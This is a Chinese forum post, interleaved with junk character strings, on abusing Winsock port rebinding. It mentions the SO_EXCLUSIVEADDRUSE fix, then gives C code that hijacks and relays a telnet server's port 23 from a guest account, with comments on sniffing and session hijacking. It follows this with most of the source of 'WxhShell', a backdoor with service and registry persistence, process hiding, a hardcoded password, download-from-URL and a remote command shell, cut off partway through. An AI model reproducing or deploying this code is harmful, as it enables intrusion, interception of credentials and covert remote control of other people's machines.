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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h5U@Ys  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 234 OJ?  
Y;p _ff  
  saddr.sin_family = AF_INET; $s4rG=q  
c\-5vw||b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >,y291p2  
W@`Nn*S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IBcCbNs!  
|zKe*H/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4Ucg<Z&%  
\ZigG{  
  这意味着什么?意味着可以进行如下的攻击: S WVeUL#5  
rF2`4j&!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x %L2eXL  
k8F<j)"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GX&BUP\  
=_\5h=`Yx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "8&pT^  
2w'Q9&1~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0_}OKn)J  
M3odyO(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BZ">N  
Ha@'%<gFe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &&xBq?  
'~VKH}b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CuR\JKdRo  
,icgne1j  
  #include mFjX  
  #include EQSOEf[  
  #include _~&6Kb^*  
  #include    j5|_SQOmt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LUl6^JU  
  int main() :@rE&  
  { XpdDIKMmE  
  WORD wVersionRequested; #25Z,UU  
  DWORD ret; 6B)(kPW  
  WSADATA wsaData; =\B{)z7@6D  
  BOOL val; 9 #TzW9  
  SOCKADDR_IN saddr; D!h8NZ;El  
  SOCKADDR_IN scaddr; B&Q\J>l9S  
  int err; `ky< *  
  SOCKET s; %2f``48#  
  SOCKET sc; N#Y%+1  
  int caddsize; h=.|!u  
  HANDLE mt; FAfk;<#'n+  
  DWORD tid;   x9Y1v1!5Pu  
  wVersionRequested = MAKEWORD( 2, 2 ); $HF. 02{|  
  err = WSAStartup( wVersionRequested, &wsaData ); ;o8C(5xE|  
  if ( err != 0 ) { ,=O`'l >K  
  printf("error!WSAStartup failed!\n"); AV Gu*  
  return -1; +(x^5~QX  
  } O%H_._#N`  
  saddr.sin_family = AF_INET; cTCo~Pk4  
   MIo<sJuv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k*(c8/<.d  
u pg?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gS_)(  
  saddr.sin_port = htons(23); vp? 87h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8>x!n/z)  
  { '3 w=D )  
  printf("error!socket failed!\n"); "^F#oo%L  
  return -1; :6S!1roi  
  } 1 !bODd  
  val = TRUE; Y (x_bJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U&yXs'3a&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .+MJ' bW  
  { QG*=N {% 5  
  printf("error!setsockopt failed!\n"); 'A;G[(SYy  
  return -1; `uM:>  
  } CnSfGsE>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hEi]-N\X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'iA#lKG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4 sasf94  
SeN4gr*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $,v '>  
  { L^i=RGx  
  ret=GetLastError(); Nz_c]3_j  
  printf("error!bind failed!\n"); M$~3`n*^  
  return -1; $m,gQV~4  
  } cjAKc|NJ  
  listen(s,2); Ef{rY|E  
  while(1) @wy|l)%  
  { WSi`)@.X O  
  caddsize = sizeof(scaddr); J( JsfU4  
  //接受连接请求 u~[HC)4(0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fuSfBtLPR#  
  if(sc!=INVALID_SOCKET) ^e:C{]S=  
  { 59!yz'feF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t ~ruP',~\  
  if(mt==NULL) y=g9 wO  
  { eQu%TZ(x-$  
  printf("Thread Creat Failed!\n"); d9>*a$x;/  
  break; k"D6Vyy`  
  } X TEC0s"F  
  } 0D/u`-  
  CloseHandle(mt); (|)`~z  
  } c[\ :^w^I6  
  closesocket(s); lffp\v{w  
  WSACleanup(); Hy ^E m  
  return 0; M #'br<]  
  }   x;)bp7  
  DWORD WINAPI ClientThread(LPVOID lpParam) L9Sd4L_e  
  { W2/FGJD  
  SOCKET ss = (SOCKET)lpParam; 0T7(c-  
  SOCKET sc; ! Ob  
  unsigned char buf[4096]; tvXoF;Yq  
  SOCKADDR_IN saddr; I$/*Pt];  
  long num; J ^gtSn^  
  DWORD val; HM57b>6  
  DWORD ret; O4RNt,?l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~\kJir  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s7.2EkGl=  
  saddr.sin_family = AF_INET; W&CQ87b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <k?ofE1o  
  saddr.sin_port = htons(23); b~fX=!M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A<P3X/i  
  { bwo-9B  
  printf("error!socket failed!\n"); KiYO,nD;\  
  return -1; $2B _a  
  } ^ CVhV  
  val = 100; xxkU u6x#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /WlK*8C  
  { Atsi}zTR\  
  ret = GetLastError(); jXA!9_L7  
  return -1; 6hDK;J J&  
  } b ?9c\-}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _nu,ks+  
  { Tlrr02>B{  
  ret = GetLastError(); IN=pki |.  
  return -1; VH[r@Pn  
  } BCsz8U!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sqTBlP  
  { 3D_Ky Z~M+  
  printf("error!socket connect failed!\n"); KilgeN:  
  closesocket(sc); CvfX m  
  closesocket(ss); >2h|$6iWP  
  return -1; +v4P9V|s  
  } j_N><_Jc  
  while(1) =OfU#i"c  
  { -YM#.lQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )Y%>t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /~3~Xc ~=p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (Mi]vK.4  
  num = recv(ss,buf,4096,0); Y.` {]rC  
  if(num>0) r_C|gfIP  
  send(sc,buf,num,0); 0\v98g<[+  
  else if(num==0) J-*&&  
  break; W}m-5L  
  num = recv(sc,buf,4096,0); ! |SPOk  
  if(num>0) qu]ch&"?U  
  send(ss,buf,num,0); b`"E(S/  
  else if(num==0) I)#=#eI* :  
  break; iEx.BQ+  
  } &:}e`u@5|  
  closesocket(ss); v{{Cj83S+  
  closesocket(sc); L%](C  
  return 0 ; u8ofgcFYE  
  } ^0"^Xk*  
T}} 0hs;  
RC 7|@a  
========================================================== *Q2;bmIc  
C!Cg.^;  
下边附上一个代码,,WXhSHELL k. bzh.  
E)==!T@E  
========================================================== v*Tliw`-U  
hsV+?#I  
#include "stdafx.h" v|5:;,I  
is=sV:j:  
#include <stdio.h> +mRFHZG  
#include <string.h> FR~YO|4?  
#include <windows.h> ?^Sk17G  
#include <winsock2.h> ").MU[q%Y  
#include <winsvc.h> *M5 : \+  
#include <urlmon.h> <viIpz2jh%  
u@|izRk  
#pragma comment (lib, "Ws2_32.lib") _&S?uz m  
#pragma comment (lib, "urlmon.lib") ;>^oe:@  
iku8T*&uc  
#define MAX_USER   100 // 最大客户端连接数 .C^1.)  
#define BUF_SOCK   200 // sock buffer kPwgayz  
#define KEY_BUFF   255 // 输入 buffer =Y`P}vI]w%  
<S~_|Y*v  
#define REBOOT     0   // 重启 IOA"O9;  
#define SHUTDOWN   1   // 关机 p.KX[I  
9hAS#|vK  
#define DEF_PORT   5000 // 监听端口 i`o}*`//  
?DcRD)X  
#define REG_LEN     16   // 注册表键长度 shW$V93<  
#define SVC_LEN     80   // NT服务名长度 U3r[ysf  
( Lj{V}^  
// 从dll定义API `@GqD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >cwyb9;!kK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z09FW>"u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;t47cUm6j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jvx9b([<sG  
J6x\_]1:*  
// wxhshell配置信息 /64jO?mp  
struct WSCFG { 8r[ZGUV  
  int ws_port;         // 监听端口 ;/i"W   
  char ws_passstr[REG_LEN]; // 口令 vQrce&  
  int ws_autoins;       // 安装标记, 1=yes 0=no pAS!;t=n,  
  char ws_regname[REG_LEN]; // 注册表键名 rQiX7  
  char ws_svcname[REG_LEN]; // 服务名 EubR] ckB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 htc& !m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $q*kD#;mh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -_=0PW5{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MLg<YL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pT]M]/y/:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L(!4e  
iO=xx|d  
}; Ore$yI}!m  
UnNvlkjq9  
// default Wxhshell configuration ]D^dQ%{  
struct WSCFG wscfg={DEF_PORT, <*L=u;  
    "xuhuanlingzhe", 7L)1mB.  
    1, gA ]7YHc  
    "Wxhshell", mhTpR0  
    "Wxhshell", ZK5(_qW&i  
            "WxhShell Service", #1R_* Uh  
    "Wrsky Windows CmdShell Service", }aYm86C]  
    "Please Input Your Password: ", 9@AGx<S1  
  1, MhC74G  
  "http://www.wrsky.com/wxhshell.exe", 1?)iCe  
  "Wxhshell.exe" xw: v|(  
    }; .d`+#1Ot(  
T=cSTS!P;q  
// 消息定义模块 Rf@D]+v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;SQ<^"eK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \V@SCA'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *Yv"lB8  
char *msg_ws_ext="\n\rExit."; 2&91C[da0  
char *msg_ws_end="\n\rQuit."; R_h(Z{d  
char *msg_ws_boot="\n\rReboot..."; E [JXQ76  
char *msg_ws_poff="\n\rShutdown..."; m1_?xU  
char *msg_ws_down="\n\rSave to "; i} 96, {  
P8NKp O\  
char *msg_ws_err="\n\rErr!"; Rde_I`Ru  
char *msg_ws_ok="\n\rOK!"; >4TJH lB}8  
|| ?B1  
char ExeFile[MAX_PATH]; 5A1oZ+C#  
int nUser = 0; b~06-dk1  
HANDLE handles[MAX_USER]; }@yvw*c  
int OsIsNt; { frEVHw  
WO*yJ`9]  
SERVICE_STATUS       serviceStatus; I Vy,A7f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bc}<B:q%b  
`7jm   
// 函数声明 Fk D  
int Install(void); mOwgk7s[ J  
int Uninstall(void); > 7!aZO  
int DownloadFile(char *sURL, SOCKET wsh);  N>`+{  
int Boot(int flag); kF'^!Hp  
void HideProc(void); #1Mk9sxo  
int GetOsVer(void); I^Ichn  
int Wxhshell(SOCKET wsl); *lv)9L+0  
void TalkWithClient(void *cs); @RotJl/>  
int CmdShell(SOCKET sock); etf ft8  
int StartFromService(void); La%\- o  
int StartWxhshell(LPSTR lpCmdLine); )DMu`cD  
?97MW a   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DGY#pnCu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q?z6|]M|u  
$n `Zvl2  
// 数据结构和表定义 0kgK~\^,.O  
SERVICE_TABLE_ENTRY DispatchTable[] = m6V1m0M  
{ x$CpUy{6  
{wscfg.ws_svcname, NTServiceMain}, oT 8  
{NULL, NULL} Td[w<m+p<P  
}; Ga f/0/|  
0w\X  
// 自我安装 iMx+y5O  
int Install(void) B0=:A  
{ mDE{s",q/  
  char svExeFile[MAX_PATH]; 9BI5qHEp  
  HKEY key; 4 E3@O  
  strcpy(svExeFile,ExeFile); ,-  ]2s_  
c Yx=8~-  
// 如果是win9x系统,修改注册表设为自启动 ZJ"*A+IJx[  
if(!OsIsNt) { fLI@;*hL0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;KQ'/nII  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2BH>TmS  
  RegCloseKey(key); VR?7{3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <6<uO\B\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w :FH2*  
  RegCloseKey(key); &_4A6  
  return 0; UTA0B&aB  
    } +lJuF/sS8m  
  } 37p0*%a":  
} #BS]wj2#  
else { y NV$IN%  
?Z4& j'z<  
// 如果是NT以上系统,安装为系统服务 PL~k `L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >&^w\"'  
if (schSCManager!=0) QZ{&7mc>  
{ NJqALm!(  
  SC_HANDLE schService = CreateService (m;P,*  
  ( #!#V!^ o  
  schSCManager, d\;M F  
  wscfg.ws_svcname, ]p'Qk  
  wscfg.ws_svcdisp, N["c*=x  
  SERVICE_ALL_ACCESS, t{~"vD9Am  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5YS`v#+  
  SERVICE_AUTO_START, 1\YX|  
  SERVICE_ERROR_NORMAL, v{ C]\8  
  svExeFile,  QN_5q5  
  NULL, 8e>;E  
  NULL, 8g>jz 8  
  NULL, ~ $r^Ur!E\  
  NULL, W<!q>8Xn?  
  NULL BCUw"R#  
  ); H'gPGOd  
  if (schService!=0) lG# &Pv>-  
  { gY0*u+LF  
  CloseServiceHandle(schService); |Q9S$l]  
  CloseServiceHandle(schSCManager); 6FEtq,;0w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A!^K:S:@  
  strcat(svExeFile,wscfg.ws_svcname); /bCrpcH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fS#/-wugOB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b@YSrjJ  
  RegCloseKey(key); rA=F:N 2  
  return 0; ]`m|A1(  
    } m.K"IXD  
  } ]?``*{Zqy  
  CloseServiceHandle(schSCManager); u"T5m  
} ls*^ 3^O  
} @TgCI`E   
e}[$ =  
return 1; 4] ?  
} yE"hgdL  
)W57n)]  
// 自我卸载 ~fCD#D2KU  
int Uninstall(void) -HoPECe  
{ J=zZGd%  
  HKEY key; 8w2+t>?  
?9?0M A<[i  
if(!OsIsNt) { ; UrwK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D VSYH{U4  
  RegDeleteValue(key,wscfg.ws_regname); A1Q]KS@  
  RegCloseKey(key); 2#+@bk>^{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xmiF!R  
  RegDeleteValue(key,wscfg.ws_regname); uU5:,Wy+dg  
  RegCloseKey(key); &<_sXHg<x  
  return 0; iZjvO`@[  
  } ][G<CO`k  
} t:=Ui/!q  
} O')Ivm,E  
else { 9!9 Gpi  
f7s]:n*Ih  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gEi" m5po  
if (schSCManager!=0) q,:\i+>K*  
{ T$}<So|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 42m`7uQ  
  if (schService!=0) 8 6L&u:o:  
  { *EV]8  
  if(DeleteService(schService)!=0) { _^a.kF  
  CloseServiceHandle(schService);  h@W}xT  
  CloseServiceHandle(schSCManager); |d%Dw^  
  return 0; d+&V^qLJ  
  } !5A nr  
  CloseServiceHandle(schService); v0$6@K;M4G  
  } 9MHb<~F  
  CloseServiceHandle(schSCManager); ny=CtU!z  
} (Mtc&+n{  
} GuDus2#+  
+,|-4U@dl  
return 1; Rb9Z{Clq>  
} aaaC8;.  
tkuN$Jl  
// 从指定url下载文件 3Ji,n;QLm  
int DownloadFile(char *sURL, SOCKET wsh) *f4KmiQ~ %  
{ M/1Q/;0P  
  HRESULT hr; (9cIU2e  
char seps[]= "/"; r`S]`&#}(  
char *token; j ^_ G  
char *file; 2iH ,U  
char myURL[MAX_PATH]; #Jm_~k  
char myFILE[MAX_PATH]; k*-+@U"+  
Hfc^<q4a.  
strcpy(myURL,sURL); {qx"/;3V  
  token=strtok(myURL,seps); QGLm4 Wl9  
  while(token!=NULL) KO5Q;H  
  { " g_\W  
    file=token; BV!Kiw  
  token=strtok(NULL,seps); 3i s .c)  
  } cA/2,i  
dUe"qH29s  
GetCurrentDirectory(MAX_PATH,myFILE); {Ua5bSbh  
strcat(myFILE, "\\"); {X"X.`p  
strcat(myFILE, file); *g=*}2  
  send(wsh,myFILE,strlen(myFILE),0); D6ck1pxkx  
send(wsh,"...",3,0); x65e,'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QPFpGS{d  
  if(hr==S_OK) !4 hs9b  
return 0; @x=CMF15  
else wPc,FH+y  
return 1; Zy!\=-dSm  
~Yr.0i.W  
} (> 8fcQUBb  
EI_J7J+  
// 系统电源模块 IsRsjhg8x  
int Boot(int flag) @ym7hk.  
{ Yb?#vpI  
  HANDLE hToken; o&CvjE  
  TOKEN_PRIVILEGES tkp; \/$v@5  
F(XWnfUv  
  if(OsIsNt) { ,U7hzBj8k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `nizGg~1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mYy3KqYu  
    tkp.PrivilegeCount = 1; R 7{ rY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :ZzG5[o3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O! j@8~='  
if(flag==REBOOT) { p[/n[@<8=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XBr>K> (  
  return 0; NKB! _R+  
} HFDg@@  
else { ]3I_H+hU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N9*$'  
  return 0; xv%}xeE V  
} RV($G8U  
  } k[zf`x^  
  else { ?.Kl/8ml  
if(flag==REBOOT) { 'PO1{&M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4o=G) KO{  
  return 0; X'u`\<&W  
} |BW956fBU  
else { }YSH8d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6 XG+YIG6w  
  return 0; -[7.VP   
} Kp&d9e{ Yc  
} ?_^9e  
% idnm  
return 1; @ =,J6  
} ZHF@k'vm/9  
T }8aj  
// win9x进程隐藏模块 .K93VTzy  
void HideProc(void) 0SDCo\  
{ AVJF[t,  
#/ 4Wcz<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Kc-eU-&q  
  if ( hKernel != NULL ) |/(5GX,X  
  { r;'!qwr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s=d?}.E$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j=gbUXv/  
    FreeLibrary(hKernel); EP8LJzd"  
  } J\{)qJ*jp  
$_ NaxV  
return; [Dt\E4  
} zH_q6@4  
NKGCz|- 9  
// 获取操作系统版本  qJK^i.e  
int GetOsVer(void) 2cDC6rul  
{ Wu}Co  
  OSVERSIONINFO winfo; ._R82 gy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "d#s|_n,d)  
  GetVersionEx(&winfo); #zQkQvAT9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <AIsNqr  
  return 1; F0!r9U((  
  else ]6aM %r=c  
  return 0; t #AQD]h  
} q{@Wn]!k  
q3[LnmH  
// 客户端句柄模块 UkYQ<MNO  
int Wxhshell(SOCKET wsl) %z2nas$$g  
{ F+6ZD5/  
  SOCKET wsh; p!691LI  
  struct sockaddr_in client; O3_Mrn(R  
  DWORD myID; u)V*o  
PQ[TTLG\&  
  while(nUser<MAX_USER) K4rr.f6  
{ t.zSJ|T_&O  
  int nSize=sizeof(client); z6!X+`&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _I!Xr!!)a0  
  if(wsh==INVALID_SOCKET) return 1; _x \Ll?,  
lAGxE-B^a"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5bAXa2Vt  
if(handles[nUser]==0) WDX?|q9rCt  
  closesocket(wsh); ;e{2?}#8&  
else H z6H,h  
  nUser++; q[#\qT&QU  
  } u1"e+4f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9@j~1G%^  
i" )_M|   
  return 0; l?~ci ;lG  
} lz*PNT{E  
w iq{ Jo#  
// 关闭 socket }iC~B}  
void CloseIt(SOCKET wsh) :@/fy}!  
{ pqs)ueu  
closesocket(wsh); }/LYI  
nUser--; I*ej_cFQ^  
ExitThread(0); }n.h)Oz  
} pta%%8":  
|B n=$T]  
// 客户端请求句柄 m^=, RfUUd  
void TalkWithClient(void *cs) f 4 _\F/  
{ izKk@{Md  
I45A$nV#Q  
  SOCKET wsh=(SOCKET)cs; {)[i\=,`{  
  char pwd[SVC_LEN]; BOWTH{KR<<  
  char cmd[KEY_BUFF]; r:q#l~;^  
char chr[1]; 8iCI s=06  
int i,j; sH]AB =_  
*HC8kD a%$  
  while (nUser < MAX_USER) { e%P;Jj476  
{, |"Rpd  
if(wscfg.ws_passstr) { `~}7k)F(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X=hgLK^3<,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lVFX@I=pI  
  //ZeroMemory(pwd,KEY_BUFF); *"5a5.`%,  
      i=0; `%Ghtm*  
  while(i<SVC_LEN) { y"hM6JI  
MT5A%|He  
  // 设置超时 I%&9`ceWY  
  fd_set FdRead; EH:1Z*|Z{\  
  struct timeval TimeOut; q^cFD  
  FD_ZERO(&FdRead); C0W~Tk\C2  
  FD_SET(wsh,&FdRead); v Y\O=TZT  
  TimeOut.tv_sec=8; |x4yPYBL  
  TimeOut.tv_usec=0; [vi4,'wm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Po_OQJ:bd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <7 rK  
%8tN$8P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K4yYNlY  
  pwd=chr[0]; =gn}_sKNE  
  if(chr[0]==0xd || chr[0]==0xa) { +E:(-$"R  
  pwd=0; vraU&ze\1  
  break; q+z\Y?  
  } aC},h   
  i++; S3'g(+S  
    } U,M,E@  
NQJqS?^W&M  
  // 如果是非法用户,关闭 socket p^:Lj9Qax  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [w/t  
} J*Hn/m  
5:d2q<x:{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5{a( +'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vw]nqS~N  
 =s]{  
while(1) { (0Qq rNs  
J9FNjM[qe  
  ZeroMemory(cmd,KEY_BUFF); 5jQP"^g  
Fdw[CYHz  
      // 自动支持客户端 telnet标准   ."X~?Nk  
  j=0; Yel(}Ny  
  while(j<KEY_BUFF) { =Q}mJs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h%s  
  cmd[j]=chr[0]; h6e$$-_  
  if(chr[0]==0xa || chr[0]==0xd) { )r i3ds  
  cmd[j]=0; 713M4CtJ  
  break; qlJOb}$ I  
  } 4sQAR6_SW~  
  j++; {?y7'  
    } +E~`H^  
Z ~9N  
  // 下载文件 PoJyWC  
  if(strstr(cmd,"http://")) { weV#%6=5\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pCUOeQL(  
  if(DownloadFile(cmd,wsh)) zrO|L|F&P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ss{=::#  
  else uq%3;#[0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I0vn d7  
  } D,j5k3< #  
  else { @>IjfrjV  
,rI |+  
    switch(cmd[0]) { A4FDR#  
  } XU:DE  
  // 帮助 kV3j}C"  
  case '?': { uW~ ,H}E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $tHwJ!<$&  
    break; &U*J{OP|  
  } !O6Is'%B  
  // 安装 ls\E%d  
  case 'i': { 6a7iLQA  
    if(Install()) {l&2Kd*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yn[ZN-H~  
    else b DS1'Ce  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^(JHRH~=h  
    break; 8@KFln )[  
    } SWsv,  
  // 卸载 Mgs|*u-5  
  case 'r': { V8$bPVps  
    if(Uninstall()) u2B W]T]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t/WnDR/fM  
    else zlztF$Bo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Mz|e(6  
    break; J<#`IaV  
    } r_,m\'~s !  
  // 显示 wxhshell 所在路径 F6c[v|3  
  case 'p': { ONq/JW$?LV  
    char svExeFile[MAX_PATH]; o;>3z*9?3  
    strcpy(svExeFile,"\n\r"); 0,$-)SkT  
      strcat(svExeFile,ExeFile); rY?F6'}  
        send(wsh,svExeFile,strlen(svExeFile),0); /)?P>!#;\  
    break; K_|~3g  
    } yLO &(Mb  
  // 重启 :@`(}5F4  
  case 'b': { w1#jVcUQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6a?$=y  
    if(Boot(REBOOT)) `ab\i`g9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y0yO `W4  
    else { \seG2vw$  
    closesocket(wsh); Rfc&OV  
    ExitThread(0); `vxrC&,As  
    } kqvJ&7  
    break; P"uHtHK  
    } 8H#c4%by)  
  // 关机 j$8|ym^OX  
  case 'd': { hAr[atu87  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !8@rK$DB  
